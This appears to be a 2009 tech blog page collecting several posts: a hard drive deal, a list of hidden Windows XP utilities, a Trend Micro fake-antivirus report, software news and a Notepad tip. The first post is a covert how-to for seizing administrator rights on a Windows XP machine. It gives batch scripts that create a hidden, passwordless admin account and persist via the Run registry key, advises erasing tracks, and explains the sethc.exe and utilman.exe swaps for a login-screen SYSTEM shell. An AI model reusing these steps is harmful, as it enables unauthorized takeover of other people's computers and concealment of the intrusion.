Wednesday, August 19, 2009

How to gain administrator rights in an XP box.

How to gain administrator rights in an XP box.
1. You can create a .batch file that when u run it it will automatically create a administrative account on your computer.

Quote:
you can use this code:

Code:
<font color="Red">@echo off
cls
net user Admin /add /expires:never /passwordreq:no
net localgroup "Administrators" /add Admin
exit</font>
and then save it into whatevername.bat then put the batch file into:
C:\Documents and Settings\All Users\Start Menu\

When the user with the administrator account logs in, the batch file will execute and will make one new admin account with this name >>> Admin


or this:

Code:
<font color="Red">@echo off<br />cls<br />net user Admin /add /expires:never /passwordreq:no<br />net localgroup "Administrators" /add Admin<br />echo Windows Registry Editor Version 5.00> c:\hide.reg<br />echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList]>> c:\hide.reg<br />echo "%u%"=dword:00000000>> c:\hide.reg<br />REGEDIT /S c:\hide.REG<br />DEL /Q c:\hide.REG<br />exit</font>
and then save as whatevername.bat in
C:\Documents and Settings\All Users\Start Menu\

When the user with the administrator account logs in, the batch file will execute and will make new admin account with this name >>> Admin, the special thing about this that it will be hidden, if u want to use your new admin account, access it in safe mode..


or this code:
Code:
<font color="Red">@echo off<br />reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\Run" /v "WinConfig" /d "net user Admin /add /expires:never /passwordreq:no"<br />reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\Run" /v "WinConfig2" /d "net localgroup "Administrators" /add Admin"</font>
then save it as whatevername.bat in
C:\Documents and Settings\All Users\Start Menu\


Note: Dont forget to clean your tracks by deleting the batch file.

2. You can use the Sticky Keys exploit. For this to work, sticky keys should be enabled.

Make a copy of cmd.exe, and rename it to sethc.exe. From there, copy the new sethc.exe over the original. Now, press shift 5 times, and instead of sticky keys, you get the command prompt. and remember, sticky keys is installed by DEFAULT, which means any system that doesn't use windows file protection, are vulnerable. After you can press shift 5 times and get the shell, log off. When you are greeted by the login prompt, press shift 5 times to go to the command shell as system admin. Anyone can virtually do anything from there.

Note: Be sure to make a backup of sethc.exe if you want to use sticky keys in the future.


3. You can also use the Utility manager Exploit.

This works like the sticky keys exploit. Basically, its the same concept, in that, you copy cmd.exe from the system32 directory, rename it utilman.exe, and move it back and copy over the original file. This program is run when windows key + U is typed at the login screen. Do it correctly, and you get a system shell.

Note: Be sure to make a backup of utilman.exe if you want to use the utility in the future.


If your not sure what your doing, you probably shouldnt be doing it anyway, and don't blame me if you mess up your PC.

Credits: http://www.symbianize.com/showthread.php?t=23527

Tuesday, August 18, 2009

Get a 1-terabyte external drive for $69.99

This is the lowest price yet on a 1TB external hard drive.

(Credit: Buy.com)

Holy ridiculously cheap storage, Batman! Buy.com has a Fantom G-Force 1-terabyte external hard drive for $69.99 shipped.

The catch? Yep, you guessed it: There's a $20 mail-in rebate [PDF]. I know that's a deal-breaker for some, but even in the unlikely event you get the short end of the rebate stick, $89.99's a pretty awesome price, too.

As for the drive itself, it features USB 2.0 and eSATA interfaces, Mac and Windows compatibility, and a one-year warranty. Fantom bundles no backup software to speak of, but there are plenty of great freeware backup utilities out there.

CNET hasn't reviewed the drive, but it averages 4.5 stars out of 5--from a whopping 342 users--on Buy.com's product page.

If you don't mind waiting a month or two on those 20 rebate dollars (the offer expires Aug. 23), this is the best deal yet on a 1TB external hard drive.



Monday, August 10, 2009

35 HIDDEN APPLICATIONS IN WINDOWS XP

Here is a list of hidden applications which are quite useful...

To run any of these applications go to Start > Run and type the executable name (ie charmap.exe). 1) Character Map = charmap.exe (very useful for finding unusual characters)

2) Disk Cleanup = cleanmgr.exe

3) Clipboard Viewer = clipbrd.exe (views contents of window$ clipboard)

4) Dr Watson = drwtsn32.exe (Troubleshooting tool)

5) DirectX diagnosis = dxdiag.exe (Diagnose & test DirectX, video & sound cards)

6) Private character editor = eudcedit.exe (allows creation or modification of characters)

7) IExpress Wizard = iexpress.exe (Create self-extracting / self-installing package)

8) Micro$oft Synchronization Manager = mobsync.exe (appears to allow synchronization of files on the network for when working offline. Apparently undocumented).

9) window$ Media Player 5.1 = mplay32.exe (Retro version of Media Player, very basic).

10) ODBC Data Source Administrator = odbcad32.exe (something to do with databases)

11) Object Packager = packager.exe (to do with packaging objects for insertion in files, appears to have comprehensive help files).

12) System Monitor = perfmon.exe (very useful, highly configurable tool, tells you everything you ever wanted to know about any aspect of PC performance, for uber-geeks only )

13) Program Manager = progman.exe (Legacy window$ 3.x desktop shell).

14) Remote Access phone book = rasphone.exe (documentation is virtually non-existant).

15) Registry Editor = regedt32.exe [also regedit.exe] (for hacking the window$ Registry).

16) Network shared folder wizard = shrpubw.exe (creates shared folders on network).

17) File siganture verification tool = sigverif.exe

18) Cool Volume Control = sndvol32.exe (I've included this for those people that lose it from the System Notification area).

19) System Configuration Editor = sysedit.exe (modify System.ini & Win.ini just like in Win98! ).

20) Syskey = syskey.exe (Secures XP Account database - use with care, it's virtually undocumented but it appears to encrypt all passwords, I'm not sure of the full implications).

21) Micro$oft Telnet Client = telnet.exe

22) Driver Verifier Manager = verifier.exe (seems to be a utility for monitoring the actions of drivers, might be useful for people having driver problems. Undocumented).

23) window$ for Workgroups Chat = winchat.exe (appears to be an old NT utility to allow chat sessions over a LAN, help files available).

24) System configuration = msconfig.exe (can use to control starup programs)

25) Command Prompt = cmd.exe

26) gpedit.msc used to manage group policies, and permissions..! (ONLY available on XP Pro)

27) eudcedit.exe - program to create your own characters for any font on your computer

28) MRT.exe - malicious software remover

29) rtcshare.exe - application sharing software

30) ftp.exe - MS-DOS ftp program

31) compmgmt.exe - computer management program (local computer management tools)

32) devmgmt.exe - device management inc. drivers

33) diskmgmt.exe - hard disk/cd rom/external disk management program

34) fsmgmt.exe - file sharing managment

35) lusrmgr.exe - a local user/group amanagement program

Cory Aquino's Death Used to Spread Another FAKEAV

coryblogIt has only been a few days since former Philippine president Corazon Aquino died of cardio-respiratory arrest last Saturday (August 1). Cybercriminals are already well on their way to use this event for their own selfish gains.

Cybercriminals use popular and high interest events to further their cause—in this case, spreading fake antivirus software detected by Trend Micro as TROJ_FAKEALRT.FK.

Trend Micro threat analyst Joseph Pacamarra found that searching for details on the former president’s death with the words “corazon aquino’s death” led users to the following malicious sites:

  • http://{BLOCKED}-gonzales.redxhost.com/corazon-aquino-death.html
  • http://{BLOCKED}sa.20x.cc/corazon-aquino-death.html
  • http://{BLOCKED}rank.0adz/corazon-aquino-death.html
  • http://{BLOCKED}-1.0adz.com/corazon-aquino-died.html

The cybercriminals used the same .php page (1.php) to redirect users who click the links above. However, this page was hosted on different domains, possibly to avoid detection. The redirections from the above links eventually led to the download of a fake antivirus from the following sites:

  • http://{BLOCKED}-pro-antivirus-scan.com/download.php?id=2022
  • http://{BLOCKED}-pro-antivirus-scan.com/download/Install-6a1e7ce_2022.exe
  • http://{BLOCKED}-pro-antivirus-scan.com/download/Install-74f10_2022.exe
  • http://{BLOCKED}-pro-antivirus-scan.com/download/Install-6a75f_2022.exe
Click Click

This is not the first time that news was used to launch blackhat SEO attacks:

Users are advised to rely on legitimate and reputable news sites to avoid being infected. Trend Micro product users are advised to update to the latest CPR version 6.338.03 to stay protected.


Read more: http://blog.trendmicro.com/cory-aquino%e2%80%99s-death-used-to-spread-another-fakeav/#ixzz0NkR6MVRV

Source: Blog.TrendMicro.Com

Tunatic

Love that song but don't know what it is?
Tunatic can tag it for you!

Ever thought ‘what is this song?’ Let Tunatic hear it and you will get the artist's name and the song's title within seconds. Tunatic is the very first song search engine based on sound for your computer. All you need is a microphone and Internet access.

Tunatic is freeware. Download it now!

Download Tunatic v1.0.1b for Mac OS X v10.2 or better
Download Tunatic v1.0.1b for Windows 2000/XP
1 - let Tunatic hear the music. All you need is a microphone and Internet access. 2 - Tunatic identifies the song. Follow the white arrow to get links for the song.

How does this work? When you click Tunatic's ‘search’ button, Tunatic transmits the song's features to the Tunatic server. The server searches its database and returns the matching song. More Q&A

Website: http://www.wildbits.com/tunatic/

Mozilla issues first Firefox 3.6 alpha version

Mozilla has released the first alpha version of Firefox 3.6, a browser with speed improvements and new features the organization hopes to finalize faster than its predecessor.

"Unlike the year that passed between Firefox 3 and Firefox 3.5, we expect that this 3.6 release will be released in a small number of months," Mozilla evangelist Chris Blizzard said in a blog post Friday.

Firefox 3.6, code-named Namoroka, has a variety of changes, but it's not as dramatic a departure as 3.5 was from 3.0. Among the 3.6 features are faster JavaScript, the Web programming language Firefox executes with its TraceMonkey engine; faster page-rendering speed; some new features for CSS (Cascading Style Sheets) technology for controlling some of the look of a Web site; and a feature called the compositor that handles complicated layout circumstances better.

Performance is a big issue with browsers these days as people spend more time using them and programmers create more sophisticated sites and applications that live on the Web. All major browser makers are emphasizing performance improvements in their newest versions.

Download links for the first Firefox 3.6 alpha are at the Mozilla Developer Center.



Tuesday, August 4, 2009

Use Windows Notepad as your electronic diary

Who knew the humble Windows Notepad was capable of anything other than, well, taking text only notes.

If you’re searching for a simple application to write a diary or take daily notes, look no further than Notepad. So, what’s new you ask ?

Well, with this tip you can make notepad automatically add the current day and time to a document as soon as you open it and save you the headache of doing so yourself.

To accomplish this:

  1. Open Notepad (START->Run->notepad.exe)
  2. Type “.LOG” on the first line of the new document.
  3. Save the file and close Notepad.

Now when you open the same file again, you’ll see that Notepad would have added the current Date and time to the document automatically.

notepad

Write your entry for the day and close the file. Everytime you open the file, Notepad will add the current timestamp on a new line saving you the effort to do the same.

Source: GeekNinja